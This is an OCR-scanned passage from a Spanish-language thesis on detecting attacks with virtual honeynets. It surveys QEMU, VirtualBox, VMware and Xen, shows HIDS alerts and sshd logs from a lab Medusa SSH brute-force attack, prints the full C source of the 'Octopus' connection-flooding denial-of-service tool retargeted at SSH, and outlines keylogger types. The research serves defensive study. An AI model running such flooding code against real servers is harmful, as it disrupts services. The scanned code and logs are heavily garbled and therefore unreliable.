completamente (por ejemplo una PC), incluyendo uno o varios procesadores y varios
periféricos.

— Modo de emulacion de usuario, QEMU puede lanzar procesos compilados para un CPU
en otro CPU. Por ejemplo, lanzar el Wine Windows API emulator, para correr un
programa elaborado para Windows dentro de un sistema operativo linux.

Tanto para el modo emulacidon de sistema como para emulacion de usuario y periféricos,
QEMU soporta diversas tipos de hardware.

B.1.1 ACELERADOR DE QEMU (KQEMU)

El acelerador de QEMU (KQEMU) es un controlador que permite a una aplicacion de
usuario ejecutar coédigo x86 en una maquina virtual. El cédigo puede ser de usuario o del
kernel en 64, 32 o 16 bit en modo protegido. KQEMU es muy similar en esencia a VM86
syscall de linux, pero con el agregado de nuevos conceptos para mejorar el manejo de la
memoria.

Es soportado por varios sistemas operativos (actualmente Linux, Windows, FreeBSD,
Solaris) y puede ejecutar c6digo desde varios sistemas operativos (ejemplo Linux, Windows
2000/XP), incluso si la CPU no tiene soporte de virtualizacion de hardware.
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B.1.2 Hardware soportado para modo de emulacion de sistema

P.C. (x86 or x86_64 processor) .

ISA P.C. (old style PC without PCI bus).

PREP (PowerPC processor).

G3 BW PowerMac (PowerPC processor).

Mac99 PowerMac (PowerPC processor, in progress).
Sun4m (32-bit Sparc processor).

Sun4u (64-bit Sparc processor, in progress).

Malta board (32-bit MIPS processor).

ARM Integrator/CP (ARM926E or 1026E processor).

ARM Versatile baseboard (ARM926E).

B.1.3 Para emulacion de usuario QEMU soporta los siguientes CPUs

x86
PowerPC
ARM
MIPS

Sparc32/64 and ColdFire(m68k)

B.1.4 QEMU simula los siguientes perisféricos

Soporte bridges: i440FX host PCI and PIIX3 PCI to ISA bridge.

Soporte para placas de video: Cirrus CLGD 5446 PCI VGA; dummy VGA card con

soporte Bochs VESA.
PS/2 para mouse y teclado.
Posee 2 interfaces PCI IDE para disco rigido y CD-ROM.

Soporte para disco flexible.
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« Adaptador de red: NE2000 PCI, entre otros.
- Puertos seriales.

« Placas de sonido: ENSONIQ AudioPCI ES1370; Creative SoundBlaster 16 bits;
Adlib(OPL2) - Yamaha YM3812 compatible chip .

«  Controladores USB: PCI UHCI USB and a virtual USB hub.

Nota: que la placa de sonido adlib so6lo estara disponible para QEMU cuando sea habilitada
de la siguiente forma: -enable-adlib.

B.1.5 Emulaciéon de redes con QEMU

QEMU puede simular varias placas de red (Ej: NE2000; etc.) y puede conectarlas a
un nimero arbitrario de redes virtuales de area local (VLANS). Dispositivos TAP pueden ser
conectados a cualquier QEMU VLAN y una VLAN puede ser conectada entre instancias
separadas para simular grandes redes.

VLAN's

QEMU puede simular varias VLANs. Cada VLAN puede ser simbolizada como una
conexion virtual entre varios dispositivos de red.

USANDO INTERFASES TAP
Este es el camino estandar para conectar QEMU a redes reales. QEMU agrega un

dispositivo de red virtual en nuestra maquina (llamado TapN) y es posible configurarlo como
si fuese una placa de red real.

B.1.6 Emulador USB
QEMU puede emular controladores PCI UHCI USB. Podemos virtualmente enchufar

un dispositivo usb virtual o un dispositivo usb real (aunque es experimental y funciona
solamente bajo linux).

B.1.7 Formato de la imagen de disco rigido

El formato de imagen Qcow, es uno de los formatos soportados por QEMU. Es una
representacion de un bloque de tamafo fijo en un archivo, Incluye los siguientes beneficios:

1. Archivos de pequefio tamafio, incluso en sistemas de archivos que no admiten
“hoyos” (i.e. archivos fragmentados).

2. Soporte de imagen instantanea, donde la imagen so6lo representa cambios hechos en la
imagen subyacente del disco.

3. Compresion basada en zlib (Opcional).

Deteccion y limitaciones de ataques clasicos con Honeynets virtuales Hugo H. Fernandez




107 Software de virtualizacion

4. Cifrado AES (Opcional).
5. Implementa el formato de imagen de disco Copy-On-Write. Se puede declarar una
unidad virtual multi-gigabyte, la imagen de disco ocupara solamente el espacio

actualmente utilizado.

6. Las utilidades de linea de comando permiten un control total de QEMU sin tener que
ejecutar X11.

7. Control remoto de la maquina emulada a través del servidor VNC integrado.

8. Aumento de velocidad — algunas aplicaciones pueden correr a una velocidad cercana
al tiempo real.

9. Implementa superposicion de imagenes. Se mantiene una “foto instantanea” del
sistema guest, y escribir cambios en un archivo de imagen separado. Si el sistema
guest colapsa, es sencillo de volver a dicha “foto” del sistema guest.

Para crear una imagen con Qcow, hacemos:
$> gemu-img create -f qcow prueba.qcow 4G

Formating 'prueba.qcow', fmt=qcow, size=4194304 kB

test.qcow sera “el disco duro” de nuestra maquina virtual con una capacidad de hasta
4GB.

B.2 Virtual BOX

Innotek VirtualBox es un virtualizador de propdsito general para hardware x86.
Orientado a uso en servidores, en P.C. de escritorio y embebido, es una solucion Open Source.

Algunas de sus caracteristicas son [vboxa]:

-Modularidad: Posee un disefio extremadamente modular, permitiendo un sencillo
control para manejar varias interfaces simultdneamente.

-Descripciones de la maquina virtual en XML: Las configuraciones de las
maquinas virtuales estan integramente escritas en XML y son independientes de la
maquinas locales. Luego, las maquinas virtuales pueden ser facilmente exportadas a
otras computadoras.

-Agregaciones dentro de las maquinas invitado tanto en Windows como Linux:
VirtualBox posee un software especial que puede ser instalado dentro de las maquinas
virtuales con el objeto de mejorar la performance y hacer na integracion mas

adecuada.

-Carpetas compartidas: Como muchas otras soluciones de virtualizacion, para un
sencillo intercambio de datos entre computadora cliente e invitado (maq. Virtual),
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VirtualBox permite compartir ciertos directorios como “carpetas compartidas”.
Existen 2 versiones de VirtualBox:

A) Por un lado la versiéon FULL que no es software libre, sus ejecutables son libres de
cargos, pero para uso personal y de evaluacion.Con soporte pago a empresas.

B) Version OSE, estd licenciada bajo GPL y viene con el cddigo fuente. En

funcionalidad es equivalente a la version FULL excepto por algunas caracteristicas
destinadas principalmente a empresas.

B.2.1 Funcionalidades que se encuentran bajo cédigo cerrado
1- Servidor RDP (remote display protocol).
2- Soporte USB.
3- USB sobre RDP.

4- 1SCSI initiator.

B.2.2 Detalles técnicos [vboxb]

— Funciona bien bajo hardware x86, y también en los procesadores mas
recientes fabricados por Intel y Amd.

- Necesita como minimo 512 de memoria RAM.
— Una instalacion tipica necesitara alrededor de 30 MB de espacio en disco.
— Soporta 32-bit Windows (XP) y varias distribuciones de linux, soporta Mac

OS X y se esta trabajando actualmente para soportar sistemas operativos de
64-bit.

B.3 Vmware

Es un software emulador que data de Febrero de 1999, algunas de sus variantes son
[vwar]:

B.3.1 Productos para clientes

Vmware Player: Reproductor gratuito de maquinas virtuales, tiene las
funcionalidades esperadas de una maquina virtual, la restriccion de que no puede
crear maquinas virtuales. Su distribucion es gratuita, aunque no estd bajo licencia
GPL.

Vmware Workstation: Permite correr varias maquinas virtuales en una maquina
fisica. Tiene algunas caracteristicas extras, como la posibilidad de salvar multiples
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estados de la maquina real, captura de videos, “cortar y pegar” entre maquina virtual
y real, entre otras. Aunque su distribucion no es gratuita.

Vmware ACE: Se trata de una version de bajo costo de Vmware, permite crear
maquinas virtuales y cortar y pegar texto entre ellas, pero no estdn presentas las
caracteristicas mas avanzadas.

B.3.2 Productos para servidores

Vmware SERVER: Posee todas las funcionalidades de Vmware Workstation, aunque
usa un modelo cliente-servidor para poder utilizarlo remotamente.

Vmware Infraestructure: Es la opcién recomendada a las empresas. Tiene las
mismas caracteristicas que Vmware Server, pero ademds cuenta con clustering virtual
entre maquinas en distintos servidores, migraciéon de un servidor virtual a otro en
“caliente”, garantia de acceso a recursos por maquinas virtuales y varios cosas mas,
orientado principalmente a hosting virtual o administracion de una gran cantidad de
servidores en una empresa.

B.3.3 Detalles técnicos

— Posee versiones funcionalmente gratuitas, aunque no tiene licencia de
software libre, por lo tanto no se tiene acceso al codigo fuente.

- Las versiones destinadas al uso empresarial, son pagas.

— Su rendimiento es aceptable en maquinas modernas con bastante memoria
RAM.

— Posee una interfaz amigable y es facil de utilizar.
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B.4 Xen

No se trata de un proyecto puramente Open source ni de un producto propietario, sino
que surge de un proyecto de origen académico. Nacid en el afio 2003 en la universidad de
Cambridge, con lo que lo convierte en el mas reciente de los tres. Actualmente es un
emprendimiento comercial (XenSource), aunque basado en software libre. Cuenta con una
version bajo licencia GPL y luego varias versiones Enterprise [Bass07].

No es tan popular como los otros dos debido a que las primeras versiones solo
funcionaban sobre un nicleo modificado para Xen, y podia ejecutar solamente sistemas
operativos modificados para tal efecto. Ej.: Para ejecutar Windows sobre Linux, habia que
modificar el nucleo de Windows, actualmente esto se ha solucionado con la version 3, aunque
es necesario el uso de los procesadores con soporte para virtualizacion. Otra razén relativa a
su escasa popularidad es su enfoque exclusivo a servidores.

Conceptualmente, Xen difiere de las otras soluciones de virtualizacion. La técnica
utilizada por Xen se denomina “paravirtualizacion”, se trata de presentar una interfaz de
software a la maquina virtual que es similar al hardware real. Los sistemas paravirtualizados
“saben” que estan emulados, a diferencia de otras técnicas donde los sistemas virtualizados
“creen” que estan accediendo directamente al hardware. Es por este motivo que las maquinas
emuladas necesitan una modificacion en el niicleo.

En el caso de sistemas Windows, donde modificar el nticleo no es una opcioén, lo que
se modifican son los controladores. Al usar casi el mismo hardware la maquina emulada que
la maquina fisica, las velocidades que se alcanzan son mayores que en otras técnicas de
emulacion [xen].

B.4.1 Versiones de Xen

XenExpress: Soporta hasta 4 maquinas virtuales simultdneamente que comparten
hasta 4 GB de RAM fisica. Es gratuito y no soporte de XenSource.

XenServer (virtualizacion en Windows): Soporta hasta ocho maquinas virtuales

simultaneas que comparten hasta 8 GB de RAM fisica, incluyendo Windows 2003 y
Windows Xp.

B.4.2 Detalles técnicos:
CPU: Basado en x86 de al menos 1,5 Ghz o dual CPU de 2 Ghz. En el caso que se
quiera emular Windows , se necesita que el procesador tenga soporte de emulacion
(tecnologia VT de Intel o Pacifica de AMD).
RAM: Necesita 1 GB como minimo y 2 GB recomendado.

Espacio en disco: Necesita un minimo de 16 GB y 60 GB recomendado. Donde 1 GB
corresponderia para el servidor Xen y el resto para almacenar el estado de las
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maquinas virtuales y ademas del espacio de los discos para cada maquina virtual.

Red: Necesita una placa de red de 100 Mbit/seg y se recomienda una de 1 GB.
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ANEXO C

Anexo C. Ataques seleccionados: Descripcion y resultados obtenidos
C.1 Detalles de los resultados obtenidos para el ataque medusa

C.1.1 Detalles del HIDS durante el ataque realizado sobre la topologia I

En las figuras Figura 40 y Figura 41, se pueden visualizar los datos suministrados por
el HIDS durante el ataque en forma ascendente, donde las lineas mas oscuras muestran el
evento encontrado y en las lineas mas claras los detalles del mismo.

2007 Oct 29 21:45:50 Rule Id: 5716 level: 5

Location: localhost-=/varlog/securs

SSHD authentication failed.

Oct 20 21:45:49 lkealhost sshd[2442]: Faikd passwornd for mot from 192 168.2 100 port 57921 ssh2

2007 Oct 29 21:45:42 Rule Id: 551 level: 7

Location: localhost-=syscheck

Integrity checksum changed again (2 nd time).

Int=grity checksum changed for ete/b kidb kid tab’

Ol mdSsum was: ‘GE0sace Bas1 87 e601 67467 B20B9 61"

New maSsum i 92351 8452835023 14359c38b9212111 8

Ok shalsum was: '8082c5ebTca30be0dbEs a50bba0a34bT T 4bdo=0"
New shalsum is : 'a78875f2dd05ag4c5cc477o2b0adb3020d5ec2al’
2007 Oct 29 21:45:42 Ruls Id: 551 lsvel: 7

Location: localhost-=syscheck

Integrity checksum changed again (2nd time).

Integrity checksum changed for Vetobkidbkid tab ok

Old mdSsum was: ‘0669380 8804b3boTeT561 e7e24 03872

New: mdSsum is : '95d2de1 bSedScdadacBeatbdac2feT54b"

Old shalsum was: ‘3208415 710

New shalsum is : 'e21 7224890283574 21 a7 B3be65c3071 25551 47

2007 Oct 29 21:40:53 Ruls Id: 1002 level: 7
Loeation: localhost-=fvarlog/messages
L inthe sy

Oct 29 21:40:52 kcalhost kemel: audit(1 193704852 .482:20): avc: denied { read } forpid=2411 comm="httpd" name="tmp" dev=dm-0 ino=648221
sco ntext=motsyste m_rhipd_t:s0 ontext=motobject_russr_home_t:=0 tolass=dir

2007 Oct 29 21:40:53 Ruls Id: 1002 lsvel: 7

Location: localhost-=/varlog/messages

L in the

Cet 28 21:40:52 localhost ke mel: auditil 193704852 302:19): ave: denied { getatir} for pid=2414 comm="sh" name="ossec-wul’ dev=dm0 ino=647157
scontext=motsyste m_rhipd_sys_script_ts0 tcontext=mo tob ject_ruser_home_ts0 ickass=dic

2007 Oct 29 21:40:53 Rule Id: 1002 level: 7

Location: localhost-=/varlog/messages

[ in the

Cct 28 21:40:52 lealhost ke mel: auditil 193704852 30211 8): ave: denied { ssarch | forpd=2414 comm="sh" name="ossec-wul’ dev=dm0 ino=647157
Scontext=motsyste m_rhtpd_sy=_scrpt_t=0 teontext—mo tob ot _russr_home_t=0 tolass—dic

2007 Oct 29 21:40:53 Rule Id: 1002 level: 7

Location: localhost=/varlog/messages

L in the sy

Oct 29 21:40:51 kealhost kemsl: auditil 193704851 .797:17): ave: denied { mad } forpid=2411 comm="htpd" nam=="ind=xphp" dev=dm-0 ino=6+4 8061
sco nt=xt=motsystsm_rhipd_t:=0 teontext=motobject_russ_home_t:=0 tokhss=fik

2007 Oct 29 21:40:53 Rule Id: 1002 level: 7
Location: localhost-=/varlog/messages

Figura 40: Informacion del ataque medusa para la topologia I (parte I).
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2007 Oct 29 21:46:26 Rule Id: 5715 level: 3

Location: localhost-=/varlog/secure

SSHD authentication success.

Cict 28 21:46:25 bcalhost sshd[2442]: Accepted password for mot from 192.188.2.100 port 57921 ssh2
2007 Oct 29 21:46:14 Rule Id: 5716 level: 5

Location: localhost-=/varlog/secure

SSHD authentication failed.

Dot 30 00:46:13 kbcalhost sshd[2443]: Failed none for mot from 192.168.2.100 port 57921 ssh2
2007 Oct 29 21:46:13 Rule Id: 550 level: 7

Location: localhost-=syscheck

Integrity checksum changed.

Integrity checksum changed for. ‘elc/sysconfigine two tk-scrip =/ifcig-th

O mdSsum was: '4f8dda3cb4f3f5d9b 7 142063a%ebd354"

Mew mdSsum is : 'f0d7c200fceceb 81 8bef540fe 8141 Sad

©OM shalsum was: 'cffd72f5959d3c955c2a532115290d56d630565c"

MNew shalsum is : '09e10c1 51280d656c2b2349eTe40c536f761 8140

2007 Oct 29 21:46:05 Rule Id: 550 level: 7

Location: localhost-=syscheck

Integrity checksum changed.

Integrity checksum changed for. Vetc/sysconfig/netwo king/p ofiesdefaultifcfg-ethD’
O mdSsum was: '4f8dda3cb4f2f5dObTi42083a0=bd354"

New mdSsum is : '19d7c200fceceb 81 Bbef549f2 8141 Sed'

©OH shalsum was: 'cffd72f3959d3c955c2a5321 15290d56d630565¢c"

Mew shalsum iz : '0821 0c1 512 80dE5E6c2b2340aTad0c536TE1 814"

2007 Oct 29 21:46:05 Rule Id: 550 level: 7
Location: localhost-=syscheck
Integrity checksum changed.

Integrity checksum changed for. ‘ete/sysco nfiginetwo tking/devices/ifcfg-ethd'
O md5Ssum was: '4f8dda3cb4f3f5d9bTi42063a%9ebd354"

MNew md3sum i : 'f9d7c200fceceb 81 Bbcf2491e 81 41 Sed

Ol ghalsum was: 'cffd72f5050d3c055c2a532115200d56d620565c"

New shalsum is : '09e10c1 5f280d656c2b2349eTe40c536f761 81 4c

2007 Oct 29 21:45:55 Rule Id: 550 level: 7
Location: localhost-=syscheck
Integrity checksum changed.

Integrity checksum changed for: etc/esolv.confpredhclient
Size changed fom 80" to ‘60"

O mdSsum was: '3E2302651E7 81 0cTa54eT0aabSebi0dd"

New mdSsum is : 'f7f6eTce1605a7650aa8a6800a45210c

OH shalsum was: 'fd84cof486T7db28891 a4a2chc4bBEB46T BT 137 80"
Mew shalsum i : '04746bchf B004f24afb T fOcfcd TETOB20H 3d58"

2007 Oct 29 21:45:50 Rule Id: 5716 level: 5

Location: localhost-=/varlog/secure

Figura 41: Informacion del ataque medusa para la topologia I (parte II).

Importante: Para entender la traza es importante seguir el orden por fecha y hora.

C.1.1 Detalles del archivo de log durante el ataque realizado sobre la topologia I

Oct 29 21:45:47 1localhost sshd[2442]: pam unix(sshd:auth):
authentication failure; logname= uid=0 euid=0 tty=ssh ruser=
rhost=192.168.2.100 wuser=root

Oct 29 21:45:49 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2

Oct 29 21:45:51 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2

Oct 29 21:45:53 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2

Oct 29 21:45:55 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2

Oct 30 00:45:55 localhost sshd[2443]: Failed password for root
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from 192.168.2.100 port 57921 ssh2
Oct 29 21:45:57 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:45:59 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:01 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:03 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:05 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:08 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:09 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:11 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:13 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:15 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:17 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:20 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:21 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:23 localhost sshd[2442]: Failed password for root
from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:25 localhost sshd[2442]: Failed password for root

from 192.168.2.100 port 57921 ssh2
Oct 29 21:46:25 1localhost

sshd[2442] :

root from 192.168.2.100 port 57921 ssh2
Received disconnect from

Oct 29 21:46:25 localhost sshd[2442]:

192.168.2.100: 11:

Accepted password for
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C.1.2 Detalles del HIDS durante el ataque realizado sobre la topologia I1

OSSEC - Web Interface

Main | Search | Integrity checking | Stats | OSSEC Site | About

Doiober 28 2007 12:11:33 AW

Available agents: Latest modified files:

+ozmac-saner (127.0.01) +/etc/shadow-
+/eto/passwd
+/etoigshadow-
+/etc/passwd-
+letoigmoup-

Latest events

2007 Oct 28 00:06:51 Rule Id: 5715 level: 3
Location: localhost-=/var/log/secure
SSHD authentication success.

Oct 28 00:06:50 kbcalhost sshd[5728]: Accepted password for mot fem 192.168.2.100 port 44545 ssh2

2007 Oct 28 00:06:37 Rule Id: 5716 level: 5
Location: localhost-=/var/log/secure
SSHD authentication failed.

Oct 28 03:06:36 bcalhost s=hd[5729]: Failked none for mot from 192.168.2.100 port 44545 ssh2

2007 Oct 28 00:06:13 Rule |d: 5716 level: 5
Location: [ocalhost-=/var/log/secure
SSHD authentication failed.

Ot 28 00:06:12 kcalhost sshd[5728]: Faiked password for mot fom 192.168.2.100 port 44545 =sh2

2007 Oct 28 00:06:07 Rule Id: 1002 level: 7
Location: [ocalhost-=/var/log/secure

Unknown problem semewhere in the system.

Oct 28 00:06:06 kcalhost sshd[5T28]: enor: Bind to port 22 on 0.0.0.0 faikd: Addmess aleady in use.

Figura 42: Informacion del ataque medusa para la topologia 11

En la Figura 42, se pueden visualizar los datos suministrados por el HIDS durante el
ataque para la topologia II.

C.1.3 Detalles del archivo de log durante el ataque realizado sobre la topologia 11

Oct 28 00:06:06 localhost sshd[5705]: Received signal 15;
terminating.

Oct 28 00:06:06 localhost sshd[5726]: Server listening on ::
port 22.

Oct 28 00:06:060 localhost sshd[5726]: error: Bind to port 22
on 0.0.0.0 failed: Address already in use.

Oct 28 00:06:11 1localhost sshd[5728]: pam unix(sshd:auth):
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authentication failure; logname=
rhost=192.168.2.100 wuser=root

uid=0 euid=0 tty=ssh ruser=

Oct 28 00:06:12 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:14 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:16 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:19 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:20 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:23 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:25 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:26 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:28 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh?2
Oct 28 00:06:31 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:33 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:35 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:36 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:39 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:41 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:44 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:46 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:48 localhost sshd[5728]: Failed password for root
from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:50 localhost sshd[5728]: Failed password for root

from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:50 1localhost

sshd[5728]:

Accepted password for

root from 192.168.2.100 port 44545 ssh2
Oct 28 00:06:51 localhost sshd[5728]: Received disconnect from
192.168.2.100: 11:

C.2 Descripciones y detalles para el ataque Octopus

C.2.1 Cdédigo fuente

A continuacion se detalla el codigo “Octopus.c” con algunas modificaciones
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para la realizacion del ataque [Octo03]:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <signal.h>

#include <strings.h>

#define MAX DESCRIPTORS 2500

int i, fd[MAX DESCRIPTORS];
void CatchTERM() //Con esta funcidn cerramos todos los sockets
es llamada desde los signals
{
printf ("\nCaught sig TERM or INT! Cleaning up.\n");
for( ; 1i>=0; 1--) {
if ( shutdown( fd[i], 2 ) < 0 ) perror("shutdown");
/*Aqui estamos modificando la condicién del socket no
permitiendole ni enviar ni recibir NO LIBERAMOS RECURSO*/
printf ("Closing %i\n", 1i);
if( close( fd[i] ) ) perror("close"); //Acd cerramos
el socket, liberando el recurso
}
printf ("Done. Committing suicide. ARRGH!\n");
exit (1);
}
main (argc,argv)
int argc;
char *argvl[];

{

int opt,pid;
struct sockaddr in sin[MAX DESCRIPTORS];
char buf[2];

if( arge < 2 )
{
printf ("Usage:\t%s address [port]l\n", argv[0] );
printf ("\twhere address is a numeric internet
address\n") ;
printf ("\tand port is an optional port number
(default=25)\n");
exit (0);
}
pid = getpid(); //aqui se obtiene el PID del proceso
opt = 1;
signal ( SIGTERM, CatchTERM);
signal ( SIGINT, CatchTERM);
while ('true')

{

Deteccidn y limitaciones de ataques clasicos con Honeynets virtuales Hugo H. Fernandez




Ataques seleccionados 118

for ( i=0; i<MAX_DESCRIPTORS; i++)
{
fd[i] = socket (AF_INET, SOCK STREAM, 0); //La funcidn
socket () nos devuelve un
descriptor de socket, el cual podremos
usar luego para llamadas al sistema.
if ( £d[i] < 0 )
{
printf ("socket %i failed\n",i); //S1i la
asignacién en fd[i] nos devuelve -1 es porque no
se asigno el socket.
perror ("socket") ;

}

else
{
bzero ((char *)&sin[i], sizeof(sin[01]1));
sin[i].sin family = AF INET;
sin[i] .sin_addr.s_addr = inet addr(argv[l]);
sin[i] .sin port = htons((argc > 2) ?
atoi(argv[2]) : 22); //Acd esta por defecto el

puerto es el 25, pero lo

modificamos para atacar a
ssh al puerto 22
if (connect (fd[i], &sin[i], sizeof(sin[0])) < 0)
{
printf ("connect %i failed.\n",1);
perror ("connect") ;
break;
}
read (fd[i], buf, 1);
printf ("pid: %i, desc %i\n", pid, 1i);
}

i--7
printf ("closing connection.\n");
for ( ; i>=0; i-- )

{ 1f( shutdown( fd[i], 2) <0) perror ("shutdown");
if( close(fd[i]) ) perror("close");

else
printf ("closed %i\n", 1);

C.3 Tipos de Keyloggers
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El registro de las pulsaciones del teclado se puede alcanzar por medio de hardware y
de software:

1. Keylogger por hardware, son dispositivos disponibles en el mercado que vienen en
tres tipos:

1. Adaptadores en linea que se intercalan en la conexion del teclado, tienen la
ventaja de poder ser instalados inmediatamente. Sin embargo, mientras que
pueden ser eventualmente inadvertidos se detectan facilmente con una
revision visual detallada.

2. Dispositivos que se pueden instalar dentro de los teclados estandares,
requiere de habilidad para soldar y de tener acceso al teclado que se
modificara. No son detectables a menos que se abra el cuerpo del teclado.

3. Teclados reales del reemplazo que contienen el Keylogger ya integrado. Son
virtualmente imperceptibles, a menos que se les busque especificamente.

2. Keylogger por software. Contrariamente a las creencias comunes, un keylogger por
software es simple de escribir, es necesario tener conocimientos del lenguaje C o de
C++ y del funcionamiento de las API proporcionados por el sistema operativo del
objetivo. A continuacion de describen algunos de ellos:

1. Basado en nticleo: Este método es el mas dificil de escribir, y combatir. Tales
keyloggers residen en el nivel del nucleo y son asi practicamente invisibles.
Tienen casi siempre acceso autorizado al hardware que los hace de gran
alcance. Un keylogger que usa este método puede actuar como conductor del
teclado por ejemplo, y accede asi a cualquier informacién mecanografiada en
el teclado mientras que va al sistema operativo.

2. Enganchados: Tales keyloggers enganchan el teclado con las funciones
proporcionadas por el sistema operativo. El sistema operativo los activa en
cualquier momento en que se presiona una tecla y realiza el registro.

3. Métodos creativos: Aqui el programador utiliza funciones como
GetAsyncKeyState, GetForegroundWindow, etc. Estos son los mas faciles de
escribir, pero como requieren la revision el estado de cada tecla varias veces
por segundo, pueden causar un aumento sensible en uso de la CPU y pueden
ocasionalmente dejar escapar algunas pulsaciones de teclas.
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